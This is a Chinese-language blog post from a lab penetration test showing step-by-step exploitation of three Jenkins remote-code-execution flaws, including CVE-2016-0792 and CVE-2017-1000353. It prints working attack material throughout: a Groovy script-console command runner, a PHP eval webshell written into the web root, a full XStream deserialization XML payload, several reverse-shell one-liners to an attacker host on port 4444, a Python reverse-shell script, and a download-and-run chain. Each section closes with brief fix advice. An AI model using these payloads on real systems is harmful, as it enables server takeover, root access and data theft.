Jenkins漏洞分析

漏洞学习 2018-07-19

今天这一篇主要就Nessus扫描发现的Jenkins漏洞进行简要分析,着重展示部分命令执行类漏洞利用的过程和效果,对于其相应的原理不做深入探究,有兴趣的小伙伴可以自行探索。

Jenkins简介

Jenkins 是一个开源软件项目,是基于Java开发可扩展的持续集成引擎。

主要用于:

- 持续、自动地构建/测试软件项目。
- 监控一些定时执行的任务。

Jenkins拥有的特性包括:

- 易于安装-只要把jenkins.war部署到servlet容器,不需要数据库支持。
- 易于配置-所有配置都是通过其提供的web界面实现。
- 集成RSS/E-mail通过RSS发布构建结果或当构建完成时通过e-mail通知。
- 生成JUnit/TestNG测试报告。
- 分布式构建支持Jenkins能够让多台计算机一起构建/测试。
- 文件识别:Jenkins能够跟踪哪次构建生成哪些jar,哪次构建使用哪个版本的jar等。
- 插件支持:支持扩展插件,你可以开发适合自己团队使用的工具。

Jenkins 漏洞

本次我们使用Nessus来扫描发现主机存在的漏洞,主要对192.168.197.1/24网段的主机进行探测,重点查找其中存在的Jenkins命令执行类漏洞,扫描结果如下:

可以看见其中的漏洞还是比较多的,此次主要探究其中的命令执行类漏洞

漏洞一:Jenkins 未授权访问命令执行

漏洞主机情况

主机IP:192.168.197.131
Jenkins版本:1.509.4
修复版本:N/A
CVE编号:N/A

首先访问一下这个地址

192.168.197.131:8080

结果页面是这样的

就是图片全部无法显示,测了几个功能点还勉强可以正常使用就将就测试一下,以为没什么大问题,结果就遇到坑了,后面会继续介绍。

漏洞描述

简单介绍一下:

Jenkins默认配置下所有人都可以访问平台上所有页面。攻击者可以利用平台中的scripts页面执行系统命令漏洞,获取服务器权限,造成服务器被入侵,从而导致数据泄露等安全事件。

漏洞验证

关于这个漏洞,安全脉搏有一篇文章介绍的非常详细,可以参考一下:知其一不知其二之Jenkins Hacking

这个漏洞的核心就是script页面存在未授权访问的问题,可以直接在该页面执行命令,我们直接访问该url

192.168.197.131:8080/script

没有任何限制可以直接访问,非常简陋,进控制台看了一下,真是万里河山一片红,png、js、css全是404

和正常的页面相去甚远

还好不影响测试这个漏洞,继续测试,根据教程描述,我们可以使用这样一段文本,运行即可

println "your command".execute().text

测试了一下“ifconfig -a”确实可以执行

测试 “whoami”也显示该用户为root

顺便一提,如果想在此处直接反弹shell是不行的,如执行

bash -i >& /dev/tcp/192.168.197.11/4444 0>&1

由于在web端运行,因此一些特殊符号如&无法正确转义,因此不能直接执行这条命令就弹shell,是否有别的攻击方法呢?教程中有很多方法,我们都可以试一下

方法一

运用该命令行工具,从某远端服务器wget下载后门文件,然后执行该后门即可

这个的演示在最后一个漏洞处会详细说明,此处暂时不提

方法二

搜索安装Terminal Plugin,不提权的话,可以得到一个名称为jenkins的普通用户的shell,如下图所示

看了一下,这个插件特别注明是1.515及以上版本才能使用,我们目前的版本是1.509,因此该方法不适用

方法三

利用命令行执行功能直接在web目录写shell

这个比较有意思,详细说一下过程

- Step 1  查看8080端口对应的进程
        netstat -ntlp |grep 8080       //找到对应的pid48749
        ps aux |grep 48749               //找到jenkins启动的进程 java -jar jenkins15094.war

可以看到这台主机的Jenkins是通过运行jar包的形式启动的,查了一下这种方式对应的jenkins的目录默认为/root/.jenkins

于是非常想当然的认为往该目录下写个webshell,直接连接即可。后来找了很长时间都没找到对应的web目录,才想起Jenkins并不是web中间件,不具备容器的效果,jar包起Jenkins,很难在主机中找到其对应文件,因此在Jenkins下写shell连接的方式并不可行

只能寻找别的方法了

- Step 2  查找一下主机是否有web中间件
          ps aux | grep httpd、apache、nginx、jboss        //后来发现上面有apache2
          apache2 -V                                      //确认配置文件路径/etc/apache2/apache2.conf

- Step 3 查找web中间件对应的web目录
        从配置文件中,并没有找到对应的web目录,查阅相关资料得知debian家族的系统,web目录配置在/etc/apache2/sites-enabled/000-default
        默认端口的配置在/etc/apache2/ports.conf下
        
        cat  /etc/apache2/sites-enabled/000-default      //发现web目录为/var/www/

- Step 4 在web目录下写webshell
        写shell还是比较简单的,jenkins本身是java类应用,直接使用java的语法写即可
        在web目录下创建一个一句话木马php文件
        
        def webshell = '<?php @eval($_POST[test]);?>'
        new File("/var/www/test.php").write("$webshell");

        访问一下状态码200,且页面为空白,我们可以拿菜刀直接连接一下192.168.197.131/test.php
                    
        注意:ubutun安装php,一般是直接执行apt-get install libapache2-mod-php5 php5即可
        一般不用在apache2.conf文件中配置,因此在其中找不到和php相关的内容很正常


拿到了shell,用户是www-data,虽然不是root,但是也足够了,看了一下内核版本为3.13.0,有很多本地提权漏洞可以利用,由于不是自己的主机,因此不再进行提权操作。

其他方式拿shell

当然还有其它的方式可以直接拿到root用户的shell,此处再多介绍一种,思路还是用反弹shell

攻击主机IP:192.168.197.175
监听端口:4444

既然bash -i 这种方式由于其中包含特殊符号所以不可以,我们就尝试使用别的反弹shell,然后发现这种就可以

println "nc -e /bin/sh 192.168.197.175 4444".execute().text

直接就拿到了root用户的shell,当然方法还有很多,此处就不一一展示了,重要的是思路要宽阔

修复方案

  • 在Jenkins管理页面添加访问密码,且不要使用弱口令;
  • 不要使用root用户启动Jenkins;
  • 升级Jenkins的软件版本;

漏洞二:Jenkins < 1.642.2 / 1.650 Java Object Deserialization RCE

漏洞主机情况

主机IP:192.168.197.131
Jenkins版本:1.509.4
修复版本:1.642.2
CVE编号:CVE-2016-0788(32973端口)、CVE-2016-0792(8080端口)

由于和上一个漏洞是同一台主机同一个端口,此处不再重复截图

漏洞描述

介绍一下这个漏洞:

Contrast Security 于2016年2月24日在公开了Jenkins近日修复的一个可通过低权限用户调用 API 服务致使的命令执行漏洞详情。通过低权限用户构造一个恶意的 XML 文档发送至服务端接口,使服务端解析时调用 API 执行外部命令。

漏洞验证

这个漏洞的详细利用过程,网上搜了一下,最好的还是咱们部门的小伙伴加南写的一篇文章:Jenkins-CVE-2016-0792漏洞利用及修复建议

根据教程的描述,我们首先需要登录一个低权限账号,不过直接访问该页面后发现无需登录因此就省略了该步骤;

然后就是使用hackbar,post传递一下xml的数据包即可,xml如下,想要执行的命令其实就藏在其中,此处直接使用touch /tmp/qing

<map>

  <entry>

    <groovy.util.Expando>

      <expandoProperties>

        <entry>

          <string>hashCode</string>

          <org.codehaus.groovy.runtime.MethodClosure>

            <delegate class="groovy.util.Expando" reference="../../../.."/>

            <owner class="java.lang.ProcessBuilder">

              <command>

                <string>touch</string>

                <string>/tmp/qing</string>

              </command>

              <redirectErrorStream>false</redirectErrorStream>

            </owner>

            <resolveStrategy>0</resolveStrategy>

            <directive>0</directive>

            <parameterTypes/>

            <maximumNumberOfParameters>0</maximumNumberOfParameters>

            <method>start</method>

          </org.codehaus.groovy.runtime.MethodClosure>

        </entry>

      </expandoProperties>

    </groovy.util.Expando>

    <int>1</int>

  </entry>

</map>

顺便把Content-type由application/x-www-form-urlencoded改为Content-Type: application/xml
完成以后,走起

并没有出现教程中的状态码400,还是500报错

走一下上一个漏洞的命令执行页面,列一下/tmp目录下的文件,并没有我们创建的文件

并没有成功啊,难道是权限问题,但是目前这个用户的权限应该是最高的

不信邪啊,拿神器MSF打一下好了,里面刚好有一个jenkins反序列化漏洞的exp,通杀低于1.637的版本,目前这台主机版本是1.509,那基本没问题了吧,设置好相关的选项后,走起

exp走完了,没有session,神器都不行,再试一个模块jenkins_script_console

跑完一圈告诉我 Exploit completed, but no session was created ...

非常疑惑,后来自己手动建个job终于发现了真相:原来建一个job,配置就会报500的错误,这个站点本身的配置就存在问题,所以图片都无法显示,不用登录就是最高权限账号,因为系统本身配置错误exp失败也很正常;而nessus本身是基于版本和exp进行的测试,在测试exp的过程中,exp只要可以使用就认为存在该漏洞,而不管最后有没有shell

手动在自己主机上搭建了低版本的jenkins,同样方法均可测试成功,果然问题出在配置上

至此该漏洞验证完毕

修复方案

  • 升级Jenkins版本至1.642.2以上;
  • 禁止Jenkins的匿名访问权限;
  • Jenkins各登录账号禁止使用弱口令;

漏洞三:Jenkins < 2.46.2 / 2.57 remote code execution vulnerability

漏洞主机情况

主机IP:192.168.197.131、192.168.197.113
Jenkins版本:1.509.4、2.47
修复版本:2.57
CVE编号:CVE-2017-1000353

由于131这台主机已经展示了两次,此次以较新版本的113主机为例,介绍该漏洞,首先访问一下这个地址

192.168.197.113:8080

页面是这样的

相比较131这台主机页面还是非常正常的

漏洞描述

Jenkins2.56及以下版本版本中存在Java反序列化高危漏洞,可以导致远程代码执行。 该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。

说的还是非常玄乎的,我们还是直接测试一下好了

漏洞验证

这个漏洞的验证可以参考CSDN一位同学写的文章:Jenkins远程代码执行漏洞检查(CVE-2017-1000353)

教程描述得还是非常清晰的,但有一个地方写错了,这里指出来一下

生成的xxx.ser为java的序列化文件(Serialization)而不是反序列化(Deserialization),关于Java序列化的知识可以参考这篇文章:ser文件与Java对象序列化

整篇教程的逻辑大致是这样:

  • 下载反序列化payload jar包(jenkins_payload.jar)
  • 使用该jar包将想要执行的命令生成至序列化ser文件中(jenkins_poc1.ser)
  • 下载exp脚本文件,将想测试的主机url和包含命令的ser文件路径填入其中(jenkins.py)
  • 运行该exp,执行命令

思路还是非常清晰的,不过和部分其它反序列化漏洞一样有两个不足之处:

  1. 该漏洞执行命令后无回显
  2. 每执行一条命令就需要重新生成一个序列化文件

关于第一个问题,可以使用间接的方式验证,最常用的方法是执行wget或curl命令访问一台自己的web服务器,看一下web服务器中是否有对应的日志记录;

第二个问题,比较好的方式是用少量的命令直接getshell,无论是反弹shell还是让该主机下载远程脚本执行拿shell都可以。

先根据教程验证一遍漏洞好了,搭建了一台Jboss服务器用于验证该漏洞

测试主机:192.168.197.158
web中间件:Jboss 5.1.0.GA
测试地址:http://192.168.197.158:8080/jmx-console/
日志路径:/usr/jboss/jboss-5.1.0.GA/server/default/log

环境搭建完毕,如下图所示,接下来就是让漏洞主机192.168.197.113来测试了

提示:漏洞利用所需jenkins_payload.jar和jenkins.py会打包传至微云中,如有需要可自取

-Step 1 由反序列化jar包将想执行的命令生成到序列化文件中
        java -jar jenkins_payload.jar jenkins_poc1.ser "your command"

特别注意:运行该jar包,需要安装java运行环境,且jdk版本不低于1.8,否则第一步会失败,如下图所示


-Step 2 修改jenkins.py,填写想测试的主机URL和第一步生成的ser文件

-Step 3 运行该jenkins.py文件,并查看结果

以python2版本运行该文件,虽然结果里有乱码,但是不影响执行,看一下Jboss的日志

果然有漏洞主机的访问日志,且请求的就是jmx-console页面,测试成功,但是这种无回显的执行方式太麻烦了,还是直接getshell好了

直接反弹shell
攻击主机IP:192.168.197.175
监听端口:4444

一开始的思路非常简单,就是直接把反弹shell的命令用jar包写入ser文件中,然后执行,测试了多条命令

java -jar jenkins_ payload.jar jenkins_poc1.ser "bash -i >& /dev/tcp/192.168.197.175/4444 0>&1"

java -jar jenkins_ payload.jar jenkins_poc1.ser "mknod backpipe p && nc 192.168.197.175 4444 0<backpipe | /bin/bash 1>backpipe"

java -jar jenkins_ payload.jar jenkins_poc1.ser "/bin/sh | nc 192.168.197.175 4444"

java -jar jenkins_ payload.jar jenkins_poc1.ser "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.197.175 4444 >/tmp/f"

结果均以失败告终...根本拿不到shell

难道直接反弹shell真的不可以吗?其实当然是可以的,我们多尝试几个会发现越简单的越好用

java -jar jenkins_ payload.jar jenkins_poc1.ser "nc -e /bin/sh 192.168.197.175 4444"

这样直接拿了root的shell

查了很多资料才发现,此类RCE漏洞,受限于payload的内容,很多复杂的命令是无法成功执行,因此某些反弹shell命令在有些攻击中是无法生效的,需要多多尝试。

下载脚本反弹shell
攻击主机IP:192.168.197.175
监听端口:4444

再换一下思路好了,分两步走:先让主机下载攻击脚本,然后执行拿shell

由于都是内网主机,我就在Jboss里传入了一个nc.py,访问http://192.168.197.158:8080/test/nc.py就可以看到

顺便一提:Jboss要是想在web目录下传文件的话,一般是在jboss目录的/server/default/deploy/路径下建一个xxx.war的文件夹,然后把相关的文件放入其中即可,如本例中nc.py的实际路径为:

/usr/jboss/jboss-5.1.0.GA/server/default/deploy/test.war/nc.py

对应的url就是

192.168.197.158:8080/test/nc.py

nc.py内容如下:

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.197.175",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

所以执行以下几条命令就可以直接拿shell

java -jar jenkins_payload.jar jenkins_poc1.ser "wget 192.168.197.158:8080/test/nc.py"
python jenkins.py
java -jar jenkins_payload.jar jenkins_poc1.ser "python nc.py"
python jenkins.py

至此该漏洞验证完毕

修复方案

  • 升级Jenkins版本至2.57及以上;
  • 不要使用root用户启动Jenkins;

总结

  • 本次分析主要展示Jenkins部分RCE漏洞的攻击过程,受限于笔者的阅历和精力,原理部分未进行详细展开,如有兴趣可自行深入研究。
  • 通过以上分析可以看出,Jenkins作为一款重要Java类应用,除了能和其它Java类应用一样支撑企业级项目运转外同样也继承了其漏洞频发的弊病:无论是较为陈旧的1.509版本还是较新2.47版本,RCE类漏洞还是照打不误。
  • 这并非是Jenkins爆发的第一处RCE漏洞了,可以预见的是:这也绝不是Jenkins的最后一个漏洞。那么作为它的使用者我们有什么方法降低自己损失呢?其实上面的修复方案也已经说的很清楚:

    1. 定期升级此类应用版本(尤其是在漏洞爆发时期)
    2. 管理页面不要设置弱口令
    3. 尽量不要使用root用户启动类似应用

以上就是本次对于Jenkins漏洞的相关整理,如有更好的攻击思路和方法,欢迎交流~


本文由 古月蓝旻 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论